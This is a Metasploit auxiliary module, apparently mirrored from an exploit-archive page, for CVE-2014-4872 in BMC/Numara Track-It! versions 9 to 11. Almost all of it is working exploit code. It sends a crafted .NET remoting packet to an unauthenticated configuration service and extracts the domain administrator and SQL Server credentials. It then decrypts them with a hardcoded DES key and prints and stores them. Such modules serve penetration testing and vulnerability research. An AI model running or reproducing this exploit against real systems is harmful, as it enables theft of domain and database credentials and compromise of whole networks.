Share
## https://sploitus.com/exploit?id=PACKETSTORM:180691
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'openssl'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure',  
'Description' => %q{  
This module exploits an unauthenticated configuration retrieval .NET remoting  
service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain  
Administrator and the SQL server user credentials.  
This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,  
10.0.0.143 and 9.0.30.248.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2014-4872' ],  
[ 'OSVDB', '112741' ],  
[ 'US-CERT-VU', '121036' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Oct/34' ]  
],  
'DisclosureDate' => '2014-10-07'  
))  
register_options(  
[  
OptPort.new('RPORT',  
[true, '.NET remoting service port', 9010])  
])  
end  
  
  
def prepare_packet(bmc)  
#  
# ConfigurationService packet structure:  
#  
# packet_header_pre_packet_size  
# packet_size (4 bytes)  
# packet_header_pre_uri_size  
# uri_size (2 bytes)  
# packet_header_pre_uri  
# uri  
# packet_header_post_uri  
# packet_body_start_pre_method_size  
# method_size (1 byte)  
# method  
# packet_body_pre_type_size  
# type_size (1 byte)  
# packet_body_pre_type  
# type  
# @packet_terminator  
#  
# .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx  
#  
# P.S.: Lots of fun stuff can be obtained from the response. Highlights include:  
# - DatabaseServerName  
# - DatabaseName  
# - SchemaOwnerDatabaseUser  
# - EncryptedSystemDatabasePassword  
# - DomainAdminUserName  
# - DomainAdminEncryptedPassword  
#  
packet_header_pre_packet_size= [  
0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,  
0x00, 0x00  
]  
  
packet_header_pre_uri_size = [  
0x04, 0x00, 0x01, 0x01  
]  
  
packet_header_pre_uri = [  
0x00, 0x00  
]  
  
# contains binary type (application/octet-stream)  
packet_header_post_uri = [  
0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00,  
0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74,  
0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65,  
0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d,  
0x00, 0x00  
]  
  
packet_body_start_pre_method_size = [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12  
]  
  
packet_body_pre_type_size = [ 0x12 ]  
  
packet_body_pre_type = [ 0x01 ]  
  
@packet_terminator = [ 0x0b ]  
  
service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))  
method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))  
type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt"))  
  
uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service  
  
packet_size =  
packet_header_pre_uri_size.length +  
2 + # uri_size  
packet_header_pre_uri.length +  
uri.length +  
packet_header_post_uri.length +  
packet_body_start_pre_method_size.length +  
1 + # method_size  
method.length +  
packet_body_pre_type_size.length +  
1 + # type_size  
packet_body_pre_type.length +  
type.length  
  
# start of packet and packet size (4 bytes)  
buf = packet_header_pre_packet_size.pack('C*')  
buf << Array(packet_size).pack('L*')  
  
# uri size (2 bytes)  
buf << packet_header_pre_uri_size.pack('C*')  
buf << Array(uri.length).pack('S*')  
  
# uri  
buf << packet_header_pre_uri.pack('C*')  
buf << uri.bytes.to_a.pack('C*')  
buf << packet_header_post_uri.pack('C*')  
  
# method name  
buf << packet_body_start_pre_method_size.pack('C*')  
buf << Array(method.length).pack('C*')  
buf << method.bytes.to_a.pack('C*')  
  
# type name  
buf << packet_body_pre_type_size.pack('C*')  
buf << Array(type.length).pack('C*')  
buf << packet_body_pre_type.pack('C*')  
buf << type.bytes.to_a.pack('C*')  
  
buf << @packet_terminator.pack('C*')  
  
return buf  
end  
  
  
def fill_loot_from_packet(packet_reply, loot)  
loot.each_key { |str|  
if loot[str] != nil  
next  
end  
if (index = (packet_reply.index(str))) != nil  
# after str, discard 5 bytes then get str_value  
size = packet_reply[index + str.length + 5,1].unpack('C*')[0]  
if size == 255  
# if we received 0xFF then there is no value for this str  
# set it to empty but not nil so that we don't look for it again  
loot[str] = ""  
next  
end  
loot[str] = packet_reply[index + str.length + 6, size]  
end  
}  
end  
  
  
def run  
packet = prepare_packet(true)  
  
sock = connect  
if sock.nil?  
fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")  
else  
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")  
end  
sock.write(packet)  
  
# type of database (Oracle or SQL Server)  
database_type = "DatabaseType"  
# Database server name (host\sid for Oracle or host\login_name for SQL Server)  
database_server_name = "DatabaseServerName"  
database_name = "DatabaseName"  
schema_owner = "SchemaOwnerDatabaseUser"  
database_pw = "EncryptedSystemDatabasePassword"  
domain_admin_name = "DomainAdminUserName"  
domain_admin_pw = "DomainAdminEncryptedPassword"  
  
loot = {  
database_type => nil,  
database_server_name => nil,  
database_name => nil,  
schema_owner => nil,  
database_pw => nil,  
domain_admin_name => nil,  
domain_admin_pw => nil  
}  
  
# We only break when we have a timeout (up to 15 seconds wait) or have all we need  
while true  
ready = IO.select([sock], nil, nil, 15)  
if ready  
packet_reply = sock.readpartial(4096)  
else  
print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")  
break  
end  
if packet_reply =~ /Service not found/  
# This is most likely an older Numara version, re-do the packet and send again.  
print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")  
sock.close  
sock = connect  
if sock.nil?  
fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")  
else  
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")  
end  
packet = prepare_packet(false)  
sock.write(packet)  
packet_reply = sock.readpartial(4096)  
end  
  
fill_loot_from_packet(packet_reply, loot)  
  
if not loot.has_value?(nil)  
break  
end  
end  
sock.close  
  
# now set the values that were not found back to nil  
loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) }  
  
if loot[database_type]  
print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}")  
end  
  
if loot[database_server_name]  
print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}")  
end  
  
if loot[database_name]  
print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}")  
end  
  
if loot[schema_owner]  
print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}")  
end  
  
if loot[database_pw]  
cipher = OpenSSL::Cipher.new("des")  
cipher.decrypt  
cipher.key = 'NumaraTI'  
cipher.iv = 'NumaraTI'  
loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw]))  
loot[database_pw] << cipher.final  
print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}")  
end  
  
if loot[domain_admin_name]  
print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}")  
end  
  
if loot[domain_admin_pw]  
cipher = OpenSSL::Cipher.new("des")  
cipher.decrypt  
cipher.key = 'NumaraTI'  
cipher.iv = 'NumaraTI'  
loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw]))  
loot[domain_admin_pw] << cipher.final  
print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}")  
end  
  
if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name]  
# If it is Oracle we need to save the SID for creating the Credential Core, else we don't care  
if loot[database_type] =~ /Oracle/i  
sid = loot[database_server_name].split('\\')[1]  
else  
sid = nil  
end  
  
credential_core = report_credential_core({  
password: loot[database_pw],  
username: loot[schema_owner],  
sid: sid  
})  
  
# Get just the hostname  
db_address= loot[database_server_name].split('\\')[0]  
  
begin  
database_login_data = {  
address: ::Rex::Socket.getaddress(db_address, true),  
service_name: loot[database_type],  
protocol: 'tcp',  
workspace_id: myworkspace_id,  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
  
# If it's Oracle, use the Oracle port, else use MSSQL  
if loot[database_type] =~ /Oracle/i  
database_login_data[:port] = 1521  
else  
database_login_data[:port] = 1433  
end  
create_credential_login(database_login_data)  
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname  
rescue SocketError  
print_error "Could not resolve Database Server Hostname."  
end  
  
print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}")  
end  
  
if loot[domain_admin_name] and loot[domain_admin_pw]  
report_credential_core({  
password: loot[domain_admin_pw],  
username: loot[domain_admin_name].split('\\')[1],  
domain: loot[domain_admin_name].split('\\')[0]  
})  
  
print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}")  
end  
end  
  
  
def report_credential_core(cred_opts={})  
# Set up the has for our Origin service  
origin_service_data = {  
address: rhost,  
port: rport,  
service_name: 'Domain',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: self.fullname,  
private_type: :password,  
private_data: cred_opts[:password],  
username: cred_opts[:username]  
}  
  
if cred_opts[:domain]  
credential_data.merge!({  
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,  
realm_value: cred_opts[:domain]  
})  
elsif cred_opts[:sid]  
credential_data.merge!({  
realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER,  
realm_value: cred_opts[:sid]  
})  
end  
  
credential_data.merge!(origin_service_data)  
create_credential(credential_data)  
end  
end